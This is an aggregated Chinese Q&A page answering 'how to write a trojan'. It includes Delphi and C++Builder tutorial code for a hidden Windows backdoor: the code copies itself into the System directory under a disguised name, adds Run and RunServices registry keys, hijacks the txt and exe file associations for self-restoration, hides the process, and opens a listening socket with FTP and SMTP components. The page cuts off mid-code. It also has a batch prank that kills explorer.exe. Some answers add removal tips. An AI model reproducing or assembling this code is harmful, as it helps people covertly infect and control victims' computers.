本文目录一览:
怎样写木马配置程序
第一个问题,如何让一个程序A生成另一个程序B?
方法一,以二进制方式写文件(不推荐)
这种办法就是将要被程序B的二进制数据写入到程序A的代码中
按照文件读写的办法生成文件
这样做的缺点是将生成一个庞大的源文件
充斥着很大篇幅没有可读意义的二进制数据
编译和修改都很慢,因此不推荐
方法二,资源方式(推荐)
程序B作为程序A的一个资源而存在
程序A运行时读取自己的资源并释放到文件即可
这部分代码简单实用
Delphi示例
VC示例
第二个问题,如何配置产生的程序B?
我给出两个办法,都可行
方法一,全局变量
程序B中需要配置的参数采用全局变量描述
全局变量在生成的可执行文件中的偏移地址是固定的
找出这些地址常数
在程序A生成程序B的时候即时修改为希望的数据即可
如何找出地址常数?其实很简单
编译一个程序B
生成B1.exe
改变某全局变量的值
编译生成B2.exe
对比B1.EXE和B2.EXE
不同的地方便是全区变量的地址了
方法二,使用资源
配置部分作为程序B的资源而存在
程序B运行的时候先读取自身的资源获得配置信息
这样配置B既是配置B的资源
专门有一套API函数是针对更新程序资源的
诸如BeginUpdateResource,
EndUpdateResource,
UpdateResource等等
A生成B之后,紧接着按照配置信息更新B的配置资源即可
怎么编辑木马程序
你想干什么?如果你只想玩玩,建议你学一下vbs脚本或bat脚本,如果你想把脚本做成exe程序,最简单的方法就是把脚本压缩到自解压文件里,再用16进制编辑器修改一下某个数值,就成功了。
如果你想干坏事,嘻嘻,木马也不是那么好写的,首先你要成为一个出色的程序员,不仅要打好C语言基础,更要精通汇编语言和计算机硬件以及操作系统原理,逻辑思维要强,当然要学的还很多,如mfc,C#等等,所以,如果你不是非常痴迷于编程,我劝你玩玩就行了,当然,更不要走上违法犯罪的道路吆!
good luck。
呀,还有,请采纳我吧,宝贝儿,嘻!
怎么编写木马程序?请各位大哥大姐们指点一二,越详细越好,小弟一点不懂编程哦!
其实做这个很简单的,现在我感觉做木马关键在于创意了 我电脑中收集过的一篇文章,给你参考一下 “冰河”启示录 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3 (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看. 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]'\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TForm1','Form1')=0 then begin //当没有找到Form1时执行下面代码 Application.ShowMainForm:=False; //不显示主窗口 Application.CreateForm(TForm1, Form1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses Forms,windows,messages, Unit1 in 'Unit1.pas' {Form1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao, ,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可. (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TForm1.FormCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao, } WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了
怎么编写木马
这个只是恶作剧程序,不是木马。
其实很简单嘛,只要终止explorer.exe进程就行了。
这都不需要编程,只要写个批处理就行。
把:taskkill
/f
/im
Explorer.exe写到一个文本文档里,然后把那个文档的后缀名由.txt改为.bat就行了。
简单的木马怎么编写啊?
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
//得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
//卸载动态链接库
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。
接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE);
//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
//如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
//如果不是,就写入以上键值和内容
catch(...)
//如果有错误,什么也不做
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s%2
木马程序怎么编写
要想编写木马程序,你首先知道你自己的IP地址是多少,然后可以让木马自动连接你的电脑。